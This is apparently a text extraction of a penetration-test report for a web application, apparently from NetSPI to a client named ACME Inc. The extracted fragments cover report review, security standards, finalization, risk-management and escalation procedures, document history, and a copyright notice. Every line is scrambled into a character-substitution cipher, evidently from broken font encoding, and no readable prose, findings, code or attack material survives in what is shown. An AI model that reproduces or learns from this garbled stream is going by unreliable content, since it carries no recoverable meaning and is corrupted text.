9,7>-9,-+!3*=-*K!#G!9188#3,-(;!,*5H!H*HM*39S!59!K*>>!59!,23#1;2!5!G-(5>!3*=-*K!M7!,2*!*(;5;*H*(,!
H5(5;*3Q!

B%?2?![=+!E72#2=#?!
"*,$J'S!,23#1;2!-,9!*]8*3-*(+*S!259!K#3T*C!,#!-(,*383*,!3*;1>5,-#(9!5(C!-(C19,37!9,5(C53C9S!91+2!59!
"5,-#(5>!'(9,-,1,*!#G!$,5(C53C9!5(C!V*+2(#>#;7!c"'$Vd!9,5(C53C9S!,2*!`8*(!a*M!088>-+5,-#(!$*+13-,7!
J3#)*+,!c`a0$Jd!;1-C*>-(*9S!:'VEN!0VVs?o%!G35H*K#3TS!5(C!J57H*(,!?53C!'(C19,37!I5,5!$*+13-,7!
$,5(C53C!cJ?'!I$$dS!3*+#;(-4*!9*+13-,7!M*9,!835+,-+*9S!5(C!588>7!,2*9*!K-,2-(!,2*!+#(,*],!#G!0?:N!'(+Qf9!
'V!*(=-3#(H*(,Q!

,0;;"<0("*)09.
'(!,2-9!8259*S!"*,$J'!83*9*(,9!5(!#=*3=-*K!#G!,2*!G-(C-(;9!5(C!C*>-=*39!,2*!83*>-H-(537!3*8#3,!,#!,2*!
0?:N!'(+Q!*(;5;*H*(,!,*5HQ!"*,$J'!3*=-*K9!,2*!K*M!588>-+5,-#(R9!9,3*(;,29!5(C!K*5T(*99*9!K-,2!
0?:N!'(+Q!5(C!C-9+199*9!,2*!3*+#HH*(C5,-#(9!G#3!5CC3*99-(;!9*+13-,7!C*G-+-*(+-*9Q!0?:N!'(+Q!K->>!25=*!
5(!#88#3,1(-,7!,#!83#=-C*!G**CM5+T!5(C!;1-C5(+*!G#3!3*8#3,!3*=-9-#(9!5(C!,2*!G-(5>!83*9*(,5,-#(Q!
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!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!)/!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

4($8$9*"*)09.
0G,*3!5(!5;3**C.18#(!,-H*G35H*S!"*,$J'!G-(5>-4*9!,2*!3*8#3,S!-(+#38#35,-(;!5(7!G**CM5+T!G3#H!0?:N!'(+QQ!
V2-9!C#+1H*(,!-(!,2*!G-(5>!=*39-#(!-9!C*>-=*3*C!-(!5>>!3*F1-3*C!G#3H5,9!5(C!,#!5>>!3*F1-3*C!853,-*9Q!
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!

!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!)-!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

677%#839'?':'@3&A'>*#*)%+%#$'677."*12'BC%.C3%D''
V2-9!9*+,-#(!83#=-C*9!5(!#=*3=-*K!#G!,2*!3-9T!H5(5;*H*(,!5883#5+2!19*C!M7!"*,$J'!C13-(;!,2*!
*(;5;*H*(,Q!

@Q! "*,$J'!K#3T*C!K-,2!,2*!+>-*(,!,#!-C*(,-G7!,2*!-(C-=-C15>9!G3#H!M#,2!9-C*9!,25,!(**C*C!,#!M*!-(=#>=*C!#3!
H5C*!5K53*!#G!,2*!*(;5;*H*(,Q!'(!,2*!*=*(,!#G!5(!-991*S!;##C!+#HH1(-+5,-#(!2*>89!*(913*!,25,!
*H*3;*(+7!3*5+,-#(9!,#!,*9,-(;!5+,-=-,-*9!53*!(#,!H5C*j!5C.2#+!979,*H!+25(;*9!C13-(;!,2*!,*9,!H57!
-(=5>-C5,*!,*9,!3*91>,9!5(C!3*91>,!-(!5!9*3=-+*!C-9318,-#(Q!

AQ! "*,$J'!K#3T*C!K-,2!,2*!+>-*(,!,#!-C*(,-G7!8#,*(,-5>!53*59!#G!3-9T!,25,!3*>5,*!,#!,2*!(*,K#3T9S!979,*H9S!
5(C!588>-+5,-#(9!,25,!K*3*!,*9,*C!C-3*+,>7!#3!+#1>C!M*!5GG*+,*C!M7!,*9,*CQ!

OQ! "*,$J'!5(C!,2*!+>-*(,!+3*5,*C!5(C!*]*+1,*C!#(!5+,-#(!-,*H9!,#!5CC3*99!,2*!-C*(,-G-*C!53*59!#G!3-9TQ!
E*98#(9-M->-,-*9!K*3*!599-;(*C!,#!M#,2!,*5H9Q!

XQ! "*,$J'!5(C!,2*!+>-*(,!+3*5,*C!5(!*9+5>5,-#(!83#+*C13*!,25,!-(+>1C*C!5!+5>>-(;!,3**!,#!5CC3*99!5(C!
3*C1+*!,2*!-H85+,!#G!8#,*(,-5>!-(+-C*(,9Q!?5>>-(;!,3**9!,78-+5>>7!-(+>1C*!18!,#!,23**!+#(,5+,9!G3#H!,2*!
"*,$J'!5(C!,2*!+>-*(,!,#!*(913*!,25,!,2*!5883#83-5,*!5+,-#(!+5(!M*!,5T*(!59!9##(!59!8#99-M>*Q!

!
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!

!"#$%&&'()*+(,-$."-"+/*+(,-$0"1+!
! ! "#$%!)&!'(!)&!

*+,%!-&.!&/&)!0!"1'213%4#15!6!7',(38%,43#9!!
!

!"#$%$&'()&*"%(
O"C)JEN! 46/"! 6L/VEC! QE@@"N/)!
@QP! W1(*!@@S!APAX! "*,$J'!$,5GG! I#+1H*(,!?3*5,*C!
! ! ! !
! ! ! !

!

t!APAXS!"*,$J'!

V2-9!+#(G-C*(,-5>!C#+1H*(,!-9!83#C1+*C!M7!"*,$J'!G#3!,2*!-(,*3(5>!19*!#G!0?:N!'(+QQ!0>>!3-;2,9!
3*9*3=*CQ!I18>-+5,-#(S!C-9,3-M1,-#(S!#3!H#C-G-+5,-#(!#G!,2-9!C#+1H*(,!K-,2#1,!83-#3!K3-,,*(!8*3H-99-#(!

#G!"*,$J'!-9!83#2-M-,*CQ!

0>>!,35C*H53T9!19*C!-(!,2-9!C#+1H*(,!53*!,2*!83#8*3,-*9!#G!,2*-3!3*98*+,-=*!#K(*39Q!
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